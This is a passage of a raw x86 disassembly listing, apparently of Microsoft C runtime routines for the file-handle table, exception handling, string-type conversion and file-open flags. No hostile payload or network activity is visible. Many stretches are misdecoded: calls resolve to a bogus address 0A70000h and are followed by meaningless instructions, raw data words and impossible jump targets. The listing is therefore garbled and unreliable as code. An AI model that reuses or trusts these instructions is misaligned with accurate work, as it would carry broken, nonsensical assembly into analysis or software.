		add	ds:dword_45FC20, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_41AD97:				; CODE XREF: seg000:0041ADB1j
		cmp	eax, ecx
		jnb	short loc_41ADB3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41AD97
; ---------------------------------------------------------------------------


loc_41ADB3:				; CODE XREF: seg000:0041AD99j
		add	edi, 4
		cmp	ds:dword_45FC20, esi
		jl	short loc_41AD79
		jmp	short loc_41ADC6
; ---------------------------------------------------------------------------


loc_41ADC0:				; CODE XREF: seg000:0041AD86j
		mov	esi, ds:dword_45FC20


loc_41ADC6:				; CODE XREF: seg000:0041ADBEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41AE12


loc_41ADCC:				; CODE XREF: seg000:0041AE10j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AE09
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41AE09
		test	cl, 8
		jnz	short loc_41ADEB
		push	eax
		call	near ptr 0A70000h
		dec	esp
		test	eax, eax
		jz	short loc_41AE09


loc_41ADEB:				; CODE XREF: seg000:0041ADDEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_45FB20[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_41AE09:				; CODE XREF: seg000:0041ADD1j
					; seg000:0041ADD9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41ADCC


loc_41AE12:				; CODE XREF: seg000:0041ADCAj
		xor	ebx, ebx


loc_41AE14:				; CODE XREF: seg000:0041AE77j
		mov	eax, ds:dword_45FB20
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41AE6F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41AE2F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41AE39
; ---------------------------------------------------------------------------


loc_41AE2F:				; CODE XREF: seg000:0041AE28j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41AE39:				; CODE XREF: seg000:0041AE2Dj
		push	eax
		call	near ptr 0A70000h
		xchg	eax, esi
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41AE5E
		push	edi
		call	near ptr 0A70000h
		pushf
		test	eax, eax
		jz	short loc_41AE5E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41AE64


loc_41AE5E:				; CODE XREF: seg000:0041AE45j
					; seg000:0041AE50j
		or	byte ptr [esi+4], 40h
		jmp	short loc_41AE73
; ---------------------------------------------------------------------------


loc_41AE64:				; CODE XREF: seg000:0041AE5Cj
		cmp	eax, 3
		jnz	short loc_41AE73
		or	byte ptr [esi+4], 8
		jmp	short loc_41AE73
; ---------------------------------------------------------------------------


loc_41AE6F:				; CODE XREF: seg000:0041AE20j
		or	byte ptr [esi+4], 80h


loc_41AE73:				; CODE XREF: seg000:0041AE62j
					; seg000:0041AE67j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41AE14
		push	ds:dword_45FC20
		call	near ptr 0A70000h
		rcr	dword ptr [edi+5Eh], 1
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE98	proc near		; DATA XREF: seg000:00415B92o
					; sub_41872A+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41AF38
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41AECB:				; CODE XREF: sub_41AE98+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41AF31
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41AF1F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41AF1F
		js	short loc_41AF2A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_414400
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_414442
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_4144D6
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41AF1F:				; CODE XREF: sub_41AE98+40j
					; sub_41AE98+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41AECB
; ---------------------------------------------------------------------------


loc_41AF2A:				; CODE XREF: sub_41AE98+54j
		mov	eax, 0
		jmp	short loc_41AF4D
; ---------------------------------------------------------------------------


loc_41AF31:				; CODE XREF: sub_41AE98+36j
		mov	eax, 1
		jmp	short loc_41AF4D
; ---------------------------------------------------------------------------


loc_41AF38:				; CODE XREF: sub_41AE98+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_414442
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41AF4D:				; CODE XREF: sub_41AE98+97j
					; sub_41AE98+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41AE98	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_414442
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41AF70	proc near		; CODE XREF: sub_415C7E+9p
					; sub_415CA3+9p
		mov	eax, ds:dword_45E858
		cmp	eax, 1
		jz	short loc_41AF87
		test	eax, eax
		jnz	short locret_41AFA8
		cmp	ds:dword_42D0E4, 1
		jnz	short locret_41AFA8


loc_41AF87:				; CODE XREF: sub_41AF70+8j
		push	0FCh
		call	sub_41AFA9
		mov	eax, ds:dword_45E9C0
		pop	ecx
		test	eax, eax
		jz	short loc_41AF9D
		call	eax ; dword_45E9C0


loc_41AF9D:				; CODE XREF: sub_41AF70+29j
		push	0FFh
		call	sub_41AFA9
		pop	ecx

locret_41AFA8:				; CODE XREF: sub_41AF70+Cj
					; sub_41AF70+15j
		retn
sub_41AF70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AFA9	proc near		; CODE XREF: sub_415C7E+12p
					; sub_415CA3+12p ...

var_72EC8A40	= dword	ptr -72EC8A40h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_42D758


loc_41AFBC:				; CODE XREF: sub_41AFA9+20j
		cmp	edx, [eax]
		jz	short loc_41AFCB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_42D7E8
		jl	short loc_41AFBC


loc_41AFCB:				; CODE XREF: sub_41AFA9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, ds:dword_42D758[esi]
		jnz	loc_41B0F9
		mov	eax, ds:dword_45E858
		cmp	eax, 1
		jz	loc_41B0D3
		test	eax, eax
		jnz	short loc_41AFFC
		cmp	ds:dword_42D0E4, 1
		jz	loc_41B0D3


loc_41AFFC:				; CODE XREF: sub_41AFA9+44j
		cmp	edx, 0FCh
		jz	loc_41B0F9
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 0A70000h
		xchg	eax, [ebp+var_72EC8A40]
		test	[esi+edi*8-1], ebx
		jmp	fword ptr [eax+5Ch]
; ---------------------------------------------------------------------------
		dd 500041FBh, 0FF8C8FE8h, 8D5959FFh, 0FFFE5C85h, 8D5057FFh
		dd 0FFFE5CBDh, 8D6AE8FFh, 5940FFFFh, 763CF883h,	5C858D29h
		dd 50FFFFFEh, 0FF8D57E8h, 8DF88BFFh, 0FFFE5C85h, 3BE883FFh
		dd 0F803036Ah, 41FB5868h, 5DE85700h, 83FFFF9Dh,	858D10C4h
		dd 0FFFFFF60h, 41FB3C68h, 39E85000h, 8DFFFF8Ch,	0FFFF6085h
		dd 0E85057FFh, 0FFFF8C3Ch, 0FF60858Dh, 3868FFFFh, 500041FBh
		dd 0FF8C2BE8h, 5CB6FFFFh, 8D0042D7h, 0FFFF6085h, 19E850FFh
		dd 68FFFF8Ch, 12010h, 0FF60858Dh, 1068FFFFh, 500041FBh
		dd 16B1E8h, 2CC48300h
; ---------------------------------------------------------------------------
		pop	edi
		jmp	short loc_41B0F9
; ---------------------------------------------------------------------------


loc_41B0D3:				; CODE XREF: sub_41AFA9+3Cj
					; sub_41AFA9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_42D75C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_413DB0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 0A70000h
		jl	short near ptr sub_41B140+3
		call	near ptr 0A70000h
		pusha


loc_41B0F9:				; CODE XREF: sub_41AFA9+2Ej
					; sub_41AFA9+59j ...
		pop	esi
		leave
		retn
sub_41AFA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B0FC	proc near		; CODE XREF: sub_415CC7+6Cp
					; sub_419940+32p ...

arg_0		= dword	ptr  4

		inc	ds:dword_45E9C4
		push	1000h
		call	sub_413E5F
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41B125
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41B136
; ---------------------------------------------------------------------------


loc_41B125:				; CODE XREF: sub_41B0FC+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41B136:				; CODE XREF: sub_41B0FC+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41B0FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B140	proc near		; CODE XREF: sub_415CC7+61p
					; sub_416846+8p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_45FC20
		jb	short loc_41B14F
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B14F:				; CODE XREF: sub_41B140+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_45FB20[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41B140	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B166	proc near		; DATA XREF: seg002:0042101Co
		mov	eax, ds:dword_45FB00
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41B17A
		mov	eax, 200h
		jmp	short loc_41B180
; ---------------------------------------------------------------------------


loc_41B17A:				; CODE XREF: sub_41B166+Bj
		cmp	eax, esi
		jge	short loc_41B185
		mov	eax, esi


loc_41B180:				; CODE XREF: sub_41B166+12j
		mov	ds:dword_45FB00, eax


loc_41B185:				; CODE XREF: sub_41B166+16j
		push	4
		push	eax
		call	sub_41C807
		pop	ecx
		mov	ds:dword_45EAF0, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41B1B9
		push	4
		push	esi
		mov	ds:dword_45FB00, esi
		call	sub_41C807
		pop	ecx
		mov	ds:dword_45EAF0, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41B1B9
		push	1Ah
		call	sub_415C7E
		pop	ecx


loc_41B1B9:				; CODE XREF: sub_41B166+30j
					; sub_41B166+49j
		xor	ecx, ecx
		mov	eax, offset off_42D7E8


loc_41B1C0:				; CODE XREF: sub_41B166+6Ej
		mov	edx, ds:dword_45EAF0
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_42DA68
		jl	short loc_41B1C0
		xor	edx, edx
		mov	ecx, offset dword_42D7F8


loc_41B1DD:				; CODE XREF: sub_41B166+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, ds:dword_45FB20[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1FA
		test	eax, eax
		jnz	short loc_41B1FD


loc_41B1FA:				; CODE XREF: sub_41B166+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41B1FD:				; CODE XREF: sub_41B166+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_42D858
		jl	short loc_41B1DD
		pop	esi
		retn
sub_41B166	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B20B	proc near		; DATA XREF: seg002:0042102Co

; FUNCTION CHUNK AT 0041C884 SIZE 00000058 BYTES

		call	sub_4167D0
		cmp	ds:byte_45E844,	0
		jz	short locret_41B21E
		jmp	loc_41C884
; ---------------------------------------------------------------------------

locret_41B21E:				; CODE XREF: sub_41B20B+Cj
		retn
sub_41B20B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B21F	proc near		; CODE XREF: sub_415DDC+2D4p
					; sub_415DDC+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41B22B
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41B22B:				; CODE XREF: sub_41B21F+8j
		cmp	ds:dword_45E898, 0
		jnz	short loc_41B246
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41B278
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41B246:				; CODE XREF: sub_41B21F+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	ds:dword_42D2FC
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	ds:dword_45E8A8
		call	ds:dword_41F128	; CODE XREF: seg000:0041B2E5j
		test	eax, eax
		jz	short loc_41B278
		cmp	[ebp+arg_0], 0
		jz	short loc_41B285


loc_41B278:				; CODE XREF: sub_41B21F+1Ej
					; sub_41B21F+51j
		mov	ds:dword_45E804, 2Ah
		or	eax, 0FFFFFFFFh


loc_41B285:				; CODE XREF: sub_41B21F+57j
		pop	ebp
		retn
sub_41B21F	endp

; ---------------------------------------------------------------------------


loc_41B287:				; CODE XREF: sub_4165E6+5Ep
					; seg000:0041A329p
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41FB78
		push	offset sub_41AE98
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	eax, ds:dword_45E9C8
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41B2F6
		lea	eax, [ebp-1Ch]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_41F868
		push	esi
		call	ds:dword_41F028	; GetStringTypeW
		test	eax, eax
		jz	short loc_41B2D4
		mov	eax, esi
		jmp	short loc_41B2F1
; ---------------------------------------------------------------------------


loc_41B2D4:				; CODE XREF: seg000:0041B2CEj
		lea	eax, [ebp-1Ch]
		push	eax
		push	esi
		push	offset dword_42E344
		push	esi
		push	ebx
		call	near ptr 0A70000h
		jb	short near ptr loc_41B268+4
		ror	byte ptr [edi],	84h
		into
; ---------------------------------------------------------------------------
		db 0
		dd 26A0000h
; ---------------------------------------------------------------------------
		pop	eax


loc_41B2F1:				; CODE XREF: seg000:0041B2D2j
		mov	ds:dword_45E9C8, eax


loc_41B2F6:				; CODE XREF: seg000:0041B2B6j
		cmp	eax, 2
		jnz	short loc_41B31F
		mov	eax, [ebp+1Ch]
		cmp	eax, ebx
		jnz	short loc_41B307
		mov	eax, ds:dword_45E898


loc_41B307:				; CODE XREF: seg000:0041B300j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	eax
		call	near ptr 0A70000h
		sbb	ebp, ecx
		lahf
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_41B31F:				; CODE XREF: seg000:0041B2F9j
		cmp	eax, 1
		jnz	loc_41B3BC
		cmp	[ebp+18h], ebx
		jnz	short loc_41B335
		mov	eax, ds:dword_45E8A8
		mov	[ebp+18h], eax


loc_41B335:				; CODE XREF: seg000:0041B32Bj
		push	ebx
		push	ebx
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		mov	eax, [ebp+20h]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	dword ptr [ebp+18h]
		call	ds:dword_41F12C	; MultiByteToWideChar
		mov	[ebp-20h], eax
		cmp	eax, ebx
		jz	short loc_41B3BC
		mov	[ebp-4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_413E30
		mov	[ebp-18h], esp
		mov	esi, esp
		mov	[ebp-24h], esi
		push	edi
		push	ebx
		push	esi
		call	sub_413630
		add	esp, 0Ch
		jmp	short loc_41B38B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	ebx, ebx
		xor	esi, esi


loc_41B38B:				; CODE XREF: seg000:0041B37Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41B3BC
		push	dword ptr [ebp-20h]
		push	esi
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	1
		push	dword ptr [ebp+18h]
		call	ds:dword_41F12C	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_41B3BC
		push	dword ptr [ebp+14h]
		push	eax
		push	esi
		push	dword ptr [ebp+8]
		call	ds:dword_41F028	; GetStringTypeW
		jmp	short loc_41B3BE
; ---------------------------------------------------------------------------


loc_41B3BC:				; CODE XREF: seg000:0041B322j
					; seg000:0041B357j ...
		xor	eax, eax


loc_41B3BE:				; CODE XREF: seg000:0041B3BAj
		lea	esp, [ebp-34h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B3D0	proc near		; CODE XREF: sub_41B5EA:loc_41B762p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_45FB20


loc_41B3DF:				; CODE XREF: sub_41B3D0+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41B41C
		lea	edx, [eax+100h]


loc_41B3EB:				; CODE XREF: sub_41B3D0+28j
		cmp	eax, edx
		jnb	short loc_41B40B
		test	byte ptr [eax+4], 1
		jz	short loc_41B3FA
		add	eax, 8
		jmp	short loc_41B3EB
; ---------------------------------------------------------------------------


loc_41B3FA:				; CODE XREF: sub_41B3D0+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41B45F


loc_41B40B:				; CODE XREF: sub_41B3D0+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_45FC20
		jl	short loc_41B3DF
		jmp	short loc_41B45F
; ---------------------------------------------------------------------------


loc_41B41C:				; CODE XREF: sub_41B3D0+13j
		mov	esi, 100h
		push	esi
		call	sub_413E5F
		test	eax, eax
		pop	ecx
		jz	short loc_41B45F
		add	ds:dword_45FC20, 20h
		lea	ecx, ds:45FB20h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41B442:				; CODE XREF: sub_41B3D0+88j
		cmp	eax, edx
		jnb	short loc_41B45A
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41B442
; ---------------------------------------------------------------------------


loc_41B45A:				; CODE XREF: sub_41B3D0+74j
		shl	edi, 5
		mov	ebx, edi


loc_41B45F:				; CODE XREF: sub_41B3D0+39j
					; sub_41B3D0+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41B3D0	endp

; ---------------------------------------------------------------------------


loc_41B465:				; CODE XREF: sub_41B5EA+1F4p
		mov	eax, [esp+4]
		push	esi
		cmp	eax, ds:dword_45FC20
		push	edi
		jnb	short loc_41B4C5
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:45FB20h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41B4C5
		cmp	ds:dword_42D0E4, 1
		push	ebx
		mov	ebx, [esp+14h]
		jnz	short near ptr loc_41B4BA+1
		sub	eax, 0
		jz	short loc_41B4B2
		dec	eax
		jz	short loc_41B4AD
		dec	eax
		jnz	short near ptr loc_41B4BA+1
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41B4B5
; ---------------------------------------------------------------------------


loc_41B4AD:				; CODE XREF: seg000:0041B4A3j
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41B4B5
; ---------------------------------------------------------------------------


loc_41B4B2:				; CODE XREF: seg000:0041B4A0j
		push	ebx
		push	0FFFFFFF6h


loc_41B4B5:				; CODE XREF: seg000:0041B4ABj
					; seg000:0041B4B0j
		call	near ptr 0A70000h


loc_41B4BA:				; CODE XREF: seg000:0041B49Bj
					; seg000:0041B4A6j
		and	[ebx+301C8907h], ecx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41B4D9
; ---------------------------------------------------------------------------


loc_41B4C5:				; CODE XREF: seg000:0041B471j
					; seg000:0041B48Dj
		and	ds:dword_45E808, 0
		mov	ds:dword_45E804, 9
		or	eax, 0FFFFFFFFh


loc_41B4D9:				; CODE XREF: seg000:0041B4C3j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B4DC:				; CODE XREF: sub_41665B+7Cp
		mov	ecx, [esp+4]
		push	esi
		cmp	ecx, ds:dword_45FC20
		push	edi
		jnb	short loc_41B53F
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:45FB20h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41B53F
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41B53F
		cmp	ds:dword_42D0E4, 1
		jnz	short near ptr loc_41B534+1
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41B52C
		dec	ecx
		jz	short loc_41B527
		dec	ecx
		jnz	short near ptr loc_41B534+1
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41B52F
; ---------------------------------------------------------------------------


loc_41B527:				; CODE XREF: seg000:0041B51Dj
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41B52F
; ---------------------------------------------------------------------------


loc_41B52C:				; CODE XREF: seg000:0041B51Aj
		push	eax
		push	0FFFFFFF6h


loc_41B52F:				; CODE XREF: seg000:0041B525j
					; seg000:0041B52Aj
		call	near ptr 0A70000h


loc_41B534:				; CODE XREF: seg000:0041B514j
					; seg000:0041B520j
		mov	eax, 0C83078Bh
		xor	bh, bh
		xor	eax, eax
		jmp	short loc_41B553
; ---------------------------------------------------------------------------


loc_41B53F:				; CODE XREF: seg000:0041B4E8j
					; seg000:0041B506j ...
		and	ds:dword_45E808, 0
		mov	ds:dword_45E804, 9
		or	eax, 0FFFFFFFFh


loc_41B553:				; CODE XREF: seg000:0041B53Dj
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B556	proc near		; CODE XREF: sub_41665B+32p
					; sub_41665B+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_45FC20
		jnb	short loc_41B57E
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_45FB20[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41B57E
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41B57E:				; CODE XREF: sub_41B556+Aj
					; sub_41B556+23j
		and	ds:dword_45E808, 0
		mov	ds:dword_45E804, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41B556	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B593	proc near		; CODE XREF: sub_416739+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_45FC20
		jnb	short loc_41B5DC
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, ds:dword_45FB20[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41B5DC
		push	eax
		call	sub_41B556
		pop	ecx
		push	eax
		call	near ptr 0A70000h
		in	al, 85h
		sal	byte ptr [ebp+8], 0FFh
		adc	eax, offset dword_41F068
		jmp	short loc_41B5D3
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_41B5D3:				; CODE XREF: sub_41B593+3Cj
		test	eax, eax
		jz	short locret_41B5E9
		mov	ds:dword_45E808, eax


loc_41B5DC:				; CODE XREF: sub_41B593+Aj
					; sub_41B593+22j
		mov	ds:dword_45E804, 9
		or	eax, 0FFFFFFFFh

locret_41B5E9:				; CODE XREF: sub_41B593+42j
		retn
sub_41B593	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B5EA	proc near		; CODE XREF: sub_416910+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_561B75B8	= byte ptr  561B75C0h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41B610
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41B61B
; ---------------------------------------------------------------------------


loc_41B610:				; CODE XREF: sub_41B5EA+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41B61B:				; CODE XREF: sub_41B5EA+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41B635
		test	ch, 40h
		jnz	short loc_41B631
		cmp	ds:dword_45EAD0, eax
		jz	short loc_41B635


loc_41B631:				; CODE XREF: sub_41B5EA+3Dj
		or	[ebp+var_1], 80h


loc_41B635:				; CODE XREF: sub_41B5EA+38j
					; sub_41B5EA+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41B66D
		dec	eax
		jz	short loc_41B664
		dec	eax
		jz	short loc_41B65B


loc_41B646:				; CODE XREF: sub_41B5EA+9Fj
					; sub_41B5EA+E8j ...
		mov	ds:dword_45E804, 16h
		mov	ds:dword_45E808, ebx
		jmp	loc_41B880
; ---------------------------------------------------------------------------


loc_41B65B:				; CODE XREF: sub_41B5EA+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41B674
; ---------------------------------------------------------------------------


loc_41B664:				; CODE XREF: sub_41B5EA+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41B674
; ---------------------------------------------------------------------------


loc_41B66D:				; CODE XREF: sub_41B5EA+54j
		mov	[ebp+var_C], 80000000h


loc_41B674:				; CODE XREF: sub_41B5EA+78j
					; sub_41B5EA+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41B6A2
		cmp	eax, 20h
		jz	short loc_41B699
		cmp	eax, 30h
		jz	short loc_41B690
		cmp	eax, 40h
		jnz	short loc_41B646
		mov	[ebp+var_10], esi
		jmp	short loc_41B6A5
; ---------------------------------------------------------------------------


loc_41B690:				; CODE XREF: sub_41B5EA+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41B6A5
; ---------------------------------------------------------------------------


